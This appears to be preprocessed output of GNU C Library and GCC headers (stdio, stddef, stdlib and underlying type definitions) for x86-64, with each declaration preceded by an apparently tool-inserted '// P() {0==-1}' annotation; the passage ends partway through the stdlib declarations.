/* NetBSD 5 requires the I386_ANSI_H and X86_64_ANSI_H checks here. */
/* A null pointer constant. */
/* bits/types.h -- definitions of __*_t types underlying *_t types.
Copyright (C) 2002-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/*
* Never include this file directly; use <sys/types.h> instead.
*/
/* Copyright (C) 1991-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* Determine the wordsize from the preprocessor defines. */
/* Both x86-64 and x32 use the 64-bit system call interface. */
/* Convenience types. */
// P() {0==-1}
typedef unsigned char __u_char;
// P() {0==-1}
typedef unsigned short __u_short;
// P() {0==-1}
typedef unsigned int __u_int;
// P() {0==-1}
typedef unsigned long int __u_long;
/* Fixed-size types, underlying types depend on word size and compiler. */
// P() {0==-1}
typedef signed char __int8_t;
// P() {0==-1}
typedef unsigned char __uint8_t;
// P() {0==-1}
typedef signed short __int16_t;
// P() {0==-1}
typedef unsigned short __uint16_t;
// P() {0==-1}
typedef signed int __int32_t;
// P() {0==-1}
typedef unsigned int __uint32_t;
// P() {0==-1}
typedef signed long int __int64_t;
// P() {0==-1}
typedef unsigned long int __uint64_t;
/* quad_t is also 64 bits. */
// P() {0==-1}
typedef long int __quad_t;
// P() {0==-1}
typedef unsigned long int __u_quad_t;
/* The machine-dependent file <bits/typesizes.h> defines __*_T_TYPE
macros for each of the OS types we define below. The definitions
of those macros must use the following macros for underlying types.
We define __S<SIZE>_TYPE and __U<SIZE>_TYPE for the signed and unsigned
variants of each of the following integer types on this machine.
16 -- "natural" 16-bit type (always short)
32 -- "natural" 32-bit type (always int)
64 -- "natural" 64-bit type (long or long long)
LONG32 -- 32-bit type, traditionally long
QUAD -- 64-bit type, always long long
WORD -- natural type of __WORDSIZE bits (int or long)
LONGWORD -- type of __WORDSIZE bits, traditionally long
We distinguish WORD/LONGWORD, 32/LONG32, and 64/QUAD so that the
conventional uses of `long' or `long long' type modifiers match the
types we define, even when a less-adorned type would be the same size.
This matters for (somewhat) portably writing printf/scanf formats for
these types, where using the appropriate l or ll format modifiers can
make the typedefs and the formats match up across all GNU platforms. If
we used `long' when it's 64 bits where `long long' is expected, then the
compiler would warn about the formats not matching the argument types,
and the programmer changing them to shut up the compiler would break the
program's portability.
Here we assume what is presently the case in all the GCC configurations
we support: long long is always 64 bits, long is always word/address size,
and int is always 32 bits. */
/* No need to mark the typedef with __extension__. */
/* bits/typesizes.h -- underlying types for *_t. Linux/x86-64 version.
Copyright (C) 2012-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* See <bits/types.h> for the meaning of these macros. This file exists so
that <bits/types.h> need not vary across different GNU platforms. */
/* X32 kernel interface is 64-bit. */
/* Tell the libc code that off_t and off64_t are actually the same type
for all ABI purposes, even if possibly expressed as different base types
for C type-checking purposes. */
/* Same for ino_t and ino64_t. */
/* Number of descriptors that can fit in an `fd_set'. */
// P() {0==-1}
typedef unsigned long int __dev_t;
/* Type of device numbers. */
// P() {0==-1}
typedef unsigned int __uid_t;
/* Type of user identifications. */
// P() {0==-1}
typedef unsigned int __gid_t;
/* Type of group identifications. */
// P() {0==-1}
typedef unsigned long int __ino_t;
/* Type of file serial numbers. */
// P() {0==-1}
typedef unsigned long int __ino64_t;
/* Type of file serial numbers (LFS).*/
// P() {0==-1}
typedef unsigned int __mode_t;
/* Type of file attribute bitmasks. */
// P() {0==-1}
typedef unsigned long int __nlink_t;
/* Type of file link counts. */
// P() {0==-1}
typedef long int __off_t;
/* Type of file sizes and offsets. */
// P() {0==-1}
typedef long int __off64_t;
/* Type of file sizes and offsets (LFS). */
// P() {0==-1}
typedef int __pid_t;
/* Type of process identifications. */
// P() {0==-1}
typedef struct {
int __val[2];
} __fsid_t;
/* Type of file system IDs. */
// P() {0==-1}
typedef long int __clock_t;
/* Type of CPU usage counts. */
// P() {0==-1}
typedef unsigned long int __rlim_t;
/* Type for resource measurement. */
// P() {0==-1}
typedef unsigned long int __rlim64_t;
/* Type for resource measurement (LFS). */
// P() {0==-1}
typedef unsigned int __id_t;
/* General type for IDs. */
// P() {0==-1}
typedef long int __time_t;
/* Seconds since the Epoch. */
// P() {0==-1}
typedef unsigned int __useconds_t;
/* Count of microseconds. */
// P() {0==-1}
typedef long int __suseconds_t;
/* Signed count of microseconds. */
// P() {0==-1}
typedef int __daddr_t;
/* The type of a disk address. */
// P() {0==-1}
typedef int __key_t;
/* Type of an IPC key. */
/* Clock ID used in clock and timer functions. */
// P() {0==-1}
typedef int __clockid_t;
/* Timer ID returned by `timer_create'. */
// P() {0==-1}
typedef void *__timer_t;
/* Type to represent block size. */
// P() {0==-1}
typedef long int __blksize_t;
/* Types from the Large File Support interface. */
/* Type to count number of disk blocks. */
// P() {0==-1}
typedef long int __blkcnt_t;
// P() {0==-1}
typedef long int __blkcnt64_t;
/* Type to count file system blocks. */
// P() {0==-1}
typedef unsigned long int __fsblkcnt_t;
// P() {0==-1}
typedef unsigned long int __fsblkcnt64_t;
/* Type to count file system nodes. */
// P() {0==-1}
typedef unsigned long int __fsfilcnt_t;
// P() {0==-1}
typedef unsigned long int __fsfilcnt64_t;
/* Type of miscellaneous file system fields. */
// P() {0==-1}
typedef long int __fsword_t;
// P() {0==-1}
typedef long int __ssize_t;
/* Type of a byte count, or error. */
/* Signed long type used in system calls. */
// P() {0==-1}
typedef long int __syscall_slong_t;
/* Unsigned long type used in system calls. */
// P() {0==-1}
typedef unsigned long int __syscall_ulong_t;
/* These few don't really vary by system, they always correspond
to one of the other defined types. */
// P() {0==-1}
typedef __off64_t __loff_t;
/* Type of file sizes and offsets (LFS). */
// P() {0==-1}
typedef __quad_t *__qaddr_t;
// P() {0==-1}
typedef char *__caddr_t;
/* Duplicates info from stdint.h but this is used in unistd.h. */
// P() {0==-1}
typedef long int __intptr_t;
/* Duplicate info from sys/socket.h. */
// P() {0==-1}
typedef unsigned int __socklen_t;
/* Define outside of namespace so the C++ is happy. */
/* The opaque type of streams. This is the definition used elsewhere. */
// P() {0==-1}
typedef struct _IO_FILE FILE;
/* The opaque type of streams. This is the definition used elsewhere. */
// P() {0==-1}
typedef struct _IO_FILE __FILE;
/* Value so far. */
// P() {0==-1}
typedef struct {
int __count;
union {unsigned int __wch; char __wchb[4];} __value;
} __mbstate_t;
/* The rest of the file is only used if used if __need_mbstate_t is not
defined. */
/* Undefine all __need_* constants in case we are included to get those
constants but the whole file was already read. */
// P() {0==-1}
typedef struct {
__off_t __pos;
__mbstate_t __state;
} _G_fpos_t;
// P() {0==-1}
typedef struct {
__off64_t __pos;
__mbstate_t __state;
} _G_fpos64_t;
/* These library features are always available in the GNU C library. */
/* This is defined by <bits/stat.h> if `st_blksize' exists. */
/* ALL of these should be defined in _G_config.h */
/* This define avoids name pollution if we're using GNU stdarg.h */
/* Copyright (C) 1989-2013 Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.
GCC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
Under Section 7 of GPL version 3, you are granted additional
permissions described in the GCC Runtime Library Exception, version
3.1, as published by the Free Software Foundation.
You should have received a copy of the GNU General Public License and
a copy of the GCC Runtime Library Exception along with this program;
see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
<http://www.gnu.org/licenses/>. */
/*
* ISO C Standard: 7.15 Variable arguments <stdarg.h>
*/
/* Define __gnuc_va_list. */
// P() {0==-1}
typedef __builtin_va_list __gnuc_va_list;
/* Define the standard macros for the user,
if this invocation was from the user program. */
/* Magic numbers and bits for the _flags field.
The magic numbers use the high-order bits of _flags;
the remaining bits are available for variable flags.
Note: The magic numbers must all be negative if stdio
emulation is desired. */
/* These are "formatting flags" matching the iostream fmtflags enum values. */
/* Handle lock. */
// P() {0==-1}
typedef void _IO_lock_t;
/* A streammarker remembers a position in a buffer. */
/* If _pos >= 0
it points to _buf->Gbase()+_pos. FIXME comment */
/* if _pos < 0, it points to _buf->eBptr()+_pos. FIXME comment */
// P() {0==-1}
struct _IO_marker {
struct _IO_marker *_next;
struct _IO_FILE *_sbuf;
int _pos;
};
/* This is the structure from the libstdc++ codecvt class. */
// P() {0==-1}
enum __codecvt_result {__codecvt_ok, __codecvt_partial, __codecvt_error, __codecvt_noconv};
/* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
/* Current read pointer */
/* End of get area. */
/* Start of putback+get area. */
/* Start of put area. */
/* Current put pointer. */
/* End of put area. */
/* Start of reserve area. */
/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
/* Pointer to start of non-current get area. */
/* Pointer to first valid character of backup area */
/* Pointer to end of non-current get area. */
/* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
/* char* _save_gptr; char* _save_egptr; */
/* Make sure we don't get into trouble again. */
// P() {0==-1}
struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
char _unused2[15*sizeof(int)-4*sizeof(void *)-sizeof(size_t)];
};
// P() {0==-1}
typedef struct _IO_FILE _IO_FILE;
// P() {0==-1}
extern struct _IO_FILE_plus _IO_2_1_stdin_;
// P() {0==-1}
extern struct _IO_FILE_plus _IO_2_1_stdout_;
// P() {0==-1}
extern struct _IO_FILE_plus _IO_2_1_stderr_;
/* Functions to do I/O and file management for a stream. */
/* Read NBYTES bytes from COOKIE into a buffer pointed to by BUF.
Return number of bytes read. */
// P() {0==-1}
typedef __ssize_t __io_read_fn(void *__cookie, char *__buf, size_t __nbytes);
/* Write N bytes pointed to by BUF to COOKIE. Write all N bytes
unless there is an error. Return number of bytes written. If
there is an error, return 0 and do not write anything. If the file
has been opened for append (__mode.__append set), then set the file
pointer to the end of the file and then do the write; if not, just
write at the current file pointer. */
// P() {0==-1}
typedef __ssize_t __io_write_fn(void *__cookie, const char *__buf, size_t __n);
/* Move COOKIE's file position to *POS bytes from the
beginning of the file (if W is SEEK_SET),
the current position (if W is SEEK_CUR),
or the end of the file (if W is SEEK_END).
Set *POS to the new file position.
Returns zero if successful, nonzero if not. */
// P() {0==-1}
typedef int __io_seek_fn(void *__cookie, __off64_t *__pos, int __w);
/* Close COOKIE. */
// P() {0==-1}
typedef int __io_close_fn(void *__cookie);
// P() {0==-1}
int __underflow(_IO_FILE *);
// P() {0==-1}
int __uflow(_IO_FILE *);
// P() {0==-1}
int __overflow(_IO_FILE *, int);
// P() {0==-1}
extern int _IO_getc(_IO_FILE *__fp);
// P() {0==-1}
extern int _IO_putc(int __c, _IO_FILE *__fp);
// P() {0==-1}
int _IO_feof(_IO_FILE *__fp);
// P() {0==-1}
int _IO_ferror(_IO_FILE *__fp);
// P() {0==-1}
int _IO_peekc_locked(_IO_FILE *__fp);
/* This one is for Emacs. */
// P() {0==-1}
void _IO_flockfile(_IO_FILE *);
// P() {0==-1}
void _IO_funlockfile(_IO_FILE *);
// P() {0==-1}
int _IO_ftrylockfile(_IO_FILE *);
// P() {0==-1}
int _IO_vfscanf(_IO_FILE *, const char *, __gnuc_va_list, int *);
// P() {0==-1}
int _IO_vfprintf(_IO_FILE *, const char *, __gnuc_va_list);
// P() {0==-1}
__ssize_t _IO_padn(_IO_FILE *, int, __ssize_t);
// P() {0==-1}
size_t _IO_sgetn(_IO_FILE *, void *, size_t);
// P() {0==-1}
__off64_t _IO_seekoff(_IO_FILE *, __off64_t, int, int);
// P() {0==-1}
__off64_t _IO_seekpos(_IO_FILE *, __off64_t, int);
// P() {0==-1}
void _IO_free_backup_area(_IO_FILE *);
/* The type of the second argument to `fgetpos' and `fsetpos'. */
// P() {0==-1}
typedef _G_fpos_t fpos_t;
/* The possibilities for the third argument to `setvbuf'. */
/* Default buffer size. */
/* End of file character.
Some things throughout the library rely on this being -1. */
/* The possibilities for the third argument to `fseek'.
These values should not be changed. */
/* Get the values:
L_tmpnam How long an array of chars must be to be passed to `tmpnam'.
TMP_MAX The minimum number of unique filenames generated by tmpnam
(and tempnam when it uses tmpnam's name space),
or tempnam (the two are separate).
L_ctermid How long an array to pass to `ctermid'.
L_cuserid How long an array to pass to `cuserid'.
FOPEN_MAX Minimum number of files that can be open at once.
FILENAME_MAX Maximum length of a filename. */
/* Copyright (C) 1994-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* Standard streams. */
// P() {0==-1}
extern struct _IO_FILE *stdin;
/* Standard input stream. */
// P() {0==-1}
extern struct _IO_FILE *stdout;
/* Standard output stream. */
// P() {0==-1}
extern struct _IO_FILE *stderr;
/* Standard error output stream. */
/* C89/C99 say they're macros. Make them happy. */
/* Remove file FILENAME. */
// P() {0==-1}
extern int remove(const char *__filename);
/* Rename file OLD to NEW. */
// P() {0==-1}
extern int rename(const char *__old, const char *__new);
/* Create a temporary file and open it read/write.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern FILE *tmpfile(void);
/* Generate a temporary filename. */
// P() {0==-1}
extern char *tmpnam(char *__s);
/* Close STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fclose(FILE *__stream);
/* Flush STREAM, or all streams if STREAM is NULL.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fflush(FILE *__stream);
/* Open a file and create a new stream for it.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern FILE *fopen(const char *__filename, const char *__modes);
/* Open a file, replacing an existing stream with it.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern FILE *freopen(const char *__filename, const char *__modes, FILE *__stream);
/* If BUF is NULL, make STREAM unbuffered.
Else make it use buffer BUF, of size BUFSIZ. */
// P() {0==-1}
extern void setbuf(FILE *__stream, char *__buf);
/* Make STREAM use buffering mode MODE.
If BUF is not NULL, use N bytes of it for buffering;
else allocate an internal buffer N bytes long. */
// P() {0==-1}
extern int setvbuf(FILE *__stream, char *__buf, int __modes, size_t __n);
/* Write formatted output to STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fprintf(FILE *__stream, const char *__format, ...);
/* Write formatted output to stdout.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int printf(const char *__format, ...);
/* Write formatted output to S. */
// P() {0==-1}
extern int sprintf(char *__s, const char *__format, ...);
/* Write formatted output to S from argument list ARG.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int vfprintf(FILE *__s, const char *__format, __gnuc_va_list __arg);
/* Write formatted output to stdout from argument list ARG.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int vprintf(const char *__format, __gnuc_va_list __arg);
/* Write formatted output to S from argument list ARG. */
// P() {0==-1}
extern int vsprintf(char *__s, const char *__format, __gnuc_va_list __arg);
/* Maximum chars of output to write in MAXLEN. */
// P() {0==-1}
extern int snprintf(char *__s, size_t __maxlen, const char *__format, ...);
// P() {0==-1}
extern int vsnprintf(char *__s, size_t __maxlen, const char *__format, __gnuc_va_list __arg);
/* Read formatted input from STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fscanf(FILE *__stream, const char *__format, ...);
/* Read formatted input from stdin.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int scanf(const char *__format, ...);
/* Read formatted input from S. */
// P() {0==-1}
extern int sscanf(const char *__s, const char *__format, ...);
// P() {0==-1}
extern int __isoc99_fscanf(FILE *__stream, const char *__format, ...);
// P() {0==-1}
extern int __isoc99_scanf(const char *__format, ...);
// P() {0==-1}
extern int __isoc99_sscanf(const char *__s, const char *__format, ...);
/* Read formatted input from S into argument list ARG.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int vfscanf(FILE *__s, const char *__format, __gnuc_va_list __arg);
/* Read formatted input from stdin into argument list ARG.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int vscanf(const char *__format, __gnuc_va_list __arg);
/* Read formatted input from S into argument list ARG. */
// P() {0==-1}
extern int vsscanf(const char *__s, const char *__format, __gnuc_va_list __arg);
// P() {0==-1}
extern int __isoc99_vfscanf(FILE *__s, const char *__format, __gnuc_va_list __arg);
// P() {0==-1}
extern int __isoc99_vscanf(const char *__format, __gnuc_va_list __arg);
// P() {0==-1}
extern int __isoc99_vsscanf(const char *__s, const char *__format, __gnuc_va_list __arg);
/* Read a character from STREAM.
These functions are possible cancellation points and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fgetc(FILE *__stream);
// P() {0==-1}
extern int getc(FILE *__stream);
/* Read a character from stdin.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int getchar(void);
/* The C standard explicitly says this is a macro, so we always do the
optimization for it. */
/* Write a character to STREAM.
These functions are possible cancellation points and therefore not
marked with __THROW.
These functions is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fputc(int __c, FILE *__stream);
// P() {0==-1}
extern int putc(int __c, FILE *__stream);
/* Write a character to stdout.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int putchar(int __c);
/* The C standard explicitly says this can be a macro,
so we always do the optimization for it. */
/* Get a newline-terminated string of finite length from STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern char *fgets(char *__s, int __n, FILE *__stream);
/* Get a newline-terminated string from stdin, removing the newline.
DO NOT USE THIS FUNCTION!! There is no limit on how much it will read.
The function has been officially removed in ISO C11. This opportunity
is used to also remove it from the GNU feature list. It is now only
available when explicitly using an old ISO C, Unix, or POSIX standard.
GCC defines _GNU_SOURCE when building C++ code and the function is still
in C++11, so it is also available for C++.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern char *gets(char *__s);
/* Write a string to STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fputs(const char *__s, FILE *__stream);
/* Write a string, followed by a newline, to stdout.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int puts(const char *__s);
/* Push a character back onto the input buffer of STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int ungetc(int __c, FILE *__stream);
/* Read chunks of generic data from STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern size_t fread(void *__ptr, size_t __size, size_t __n, FILE *__stream);
/* Write chunks of generic data to STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern size_t fwrite(const void *__ptr, size_t __size, size_t __n, FILE *__s);
/* Seek to a certain position on STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fseek(FILE *__stream, long int __off, int __whence);
/* Return the current position of STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern long int ftell(FILE *__stream);
/* Rewind to the beginning of STREAM.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern void rewind(FILE *__stream);
/* The Single Unix Specification, Version 2, specifies an alternative,
more adequate interface for the two functions above which deal with
file offset. `long int' is not the right type. These definitions
are originally defined in the Large File Support API. */
/* Get STREAM's position.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fgetpos(FILE *__stream, fpos_t *__pos);
/* Set STREAM's position.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern int fsetpos(FILE *__stream, const fpos_t *__pos);
/* Clear the error and EOF indicators for STREAM. */
// P() {0==-1}
extern void clearerr(FILE *__stream);
/* Return the EOF indicator for STREAM. */
// P() {0==-1}
extern int feof(FILE *__stream);
/* Return the error indicator for STREAM. */
// P() {0==-1}
extern int ferror(FILE *__stream);
/* Print a message describing the meaning of the value of errno.
This function is a possible cancellation point and therefore not
marked with __THROW. */
// P() {0==-1}
extern void perror(const char *__s);
/* Provide the declarations for `sys_errlist' and `sys_nerr' if they
are available on this system. Even if available, these variables
should not be used directly. The `strerror' function provides
all the necessary functionality. */
/* Declare sys_errlist and sys_nerr, or don't. Compatibility (do) version.
Copyright (C) 2002-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* sys_errlist and sys_nerr are deprecated. Use strerror instead. */
/* If we are compiling with optimizing read this file. It contains
several optimizing inline functions and macros. */
/* Copyright (C) 1991-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/*
* ISO C99 Standard: 7.20 General utilities <stdlib.h>
*/
/* Copyright (C) 1991-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* Get size_t, wchar_t and NULL from <stddef.h>. */
/* Copyright (C) 1989-2013 Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.
GCC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
Under Section 7 of GPL version 3, you are granted additional
permissions described in the GCC Runtime Library Exception, version
3.1, as published by the Free Software Foundation.
You should have received a copy of the GNU General Public License and
a copy of the GCC Runtime Library Exception along with this program;
see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
<http://www.gnu.org/licenses/>. */
/*
* ISO C Standard: 7.17 Common definitions <stddef.h>
*/
/* Any one of these symbols __need_* means that GNU libc
wants us just to define one data type. So don't define
the symbols that indicate this file's entire job has been done. */
/* This avoids lossage on SunOS but only if stdtypes.h comes first.
There's no way to win with the other order! Sun lossage. */
/* On 4.3bsd-net2, make sure ansi.h is included, so we have
one less case to deal with in the following. */
/* On FreeBSD 5, machine/ansi.h does not exist anymore... */
/* In 4.3bsd-net2, machine/ansi.h defines these symbols, which are
defined if the corresponding type is *not* defined.
FreeBSD-2.1 defines _MACHINE_ANSI_H_ instead of _ANSI_H_.
NetBSD defines _I386_ANSI_H_ and _X86_64_ANSI_H_ instead of _ANSI_H_ */
/* Sequent's header files use _PTRDIFF_T_ in some conflicting way.
Just ignore it. */
/* On VxWorks, <type/vxTypesBase.h> may have defined macros like
_TYPE_size_t which will typedef size_t. fixincludes patched the
vxTypesBase.h so that this macro is only defined if _GCC_SIZE_T is
not defined, and so that defining this macro defines _GCC_SIZE_T.
If we find that the macros are still defined at this point, we must
invoke them so that the type is defined as expected. */
/* In case nobody has defined these types, but we aren't running under
GCC 2.00, make sure that __PTRDIFF_TYPE__, __SIZE_TYPE__, and
__WCHAR_TYPE__ have reasonable values. This can happen if the
parts of GCC is compiled by an older compiler, that actually
include gstddef.h, such as collect2. */
/* Signed type of difference of two pointers. */
/* Define this type if we are doing the whole job,
or if we want this type in particular. */
/* Unsigned type of `sizeof' something. */
/* Define this type if we are doing the whole job,
or if we want this type in particular. */
/* Wide character type.
Locale-writers should change this as necessary to
be big enough to hold unique values not between 0 and 127,
and not (wchar_t) -1, for each defined multibyte character. */
/* Define this type if we are doing the whole job,
or if we want this type in particular. */
/* On BSD/386 1.1, at least, machine/ansi.h defines _BSD_WCHAR_T_
instead of _WCHAR_T_, and _BSD_RUNE_T_ (which, unlike the other
symbols in the _FOO_T_ family, stays defined even after its
corresponding type is defined). If we define wchar_t, then we
must undef _WCHAR_T_; for BSD/386 1.1 (and perhaps others), if
we undef _WCHAR_T_, then we must also define rune_t, since
headers like runetype.h assume that if machine/ansi.h is included,
and _BSD_WCHAR_T_ is not defined, then rune_t is available.
machine/ansi.h says, "Note that _WCHAR_T_ and _RUNE_T_ must be of
the same type." */
/* FreeBSD 5 can't be handled well using "traditional" logic above
since it no longer defines _BSD_RUNE_T_ yet still desires to export
rune_t in some cases... */
// P() {0==-1}
typedef int wchar_t;
/* In 4.3bsd-net2, leave these undefined to indicate that size_t, etc.
are already defined. */
/* BSD/OS 3.1 and FreeBSD [23].x require the MACHINE_ANSI_H check here. */
/* NetBSD 5 requires the I386_ANSI_H and X86_64_ANSI_H checks here. */
/* A null pointer constant. */
/* Returned by `div'. */
/* Quotient. */
/* Remainder. */
// P() {0==-1}
typedef struct {
int quot;
int rem;
} div_t;
/* Returned by `ldiv'. */
/* Quotient. */
/* Remainder. */
// P() {0==-1}
typedef struct {
long int quot;
long int rem;
} ldiv_t;
/* Returned by `lldiv'. */
/* Quotient. */
/* Remainder. */
// P() {0==-1}
typedef struct {
long long int quot;
long long int rem;
} lldiv_t;
/* The largest number rand will return (same as INT_MAX). */
/* We define these the same for all machines.
Changes from this to the outside world should be done in `_exit'. */
/* Maximum length of a multibyte character in the current locale. */
// P() {0==-1}
size_t __ctype_get_mb_cur_max(void);
/* Convert a string to a floating-point number. */
// P() {0==-1}
extern double atof(const char *__nptr);
/* Convert a string to an integer. */
// P() {0==-1}
extern int atoi(const char *__nptr);
/* Convert a string to a long integer. */
// P() {0==-1}
extern long int atol(const char *__nptr);
/* Convert a string to a long long integer. */
// P() {0==-1}
extern long long int atoll(const char *__nptr);
/* Convert a string to a floating-point number. */
// P() {0==-1}
extern double strtod(const char *__nptr, char **__endptr);
/* Likewise for `float' and `long double' sizes of floating-point numbers. */
// P() {0==-1}
extern float strtof(const char *__nptr, char **__endptr);
// P() {0==-1}
extern long double strtold(const char *__nptr, char **__endptr);
/* Convert a string to a long integer. */
// P() {0==-1}
extern long int strtol(const char *__nptr, char **__endptr, int __base);
/* Convert a string to an unsigned long integer. */
// P() {0==-1}
extern unsigned long int strtoul(const char *__nptr, char **__endptr, int __base);
/* Convert a string to a quadword integer. */
// P() {0==-1}
extern long long int strtoll(const char *__nptr, char **__endptr, int __base);
/* Convert a string to an unsigned quadword integer. */
// P() {0==-1}
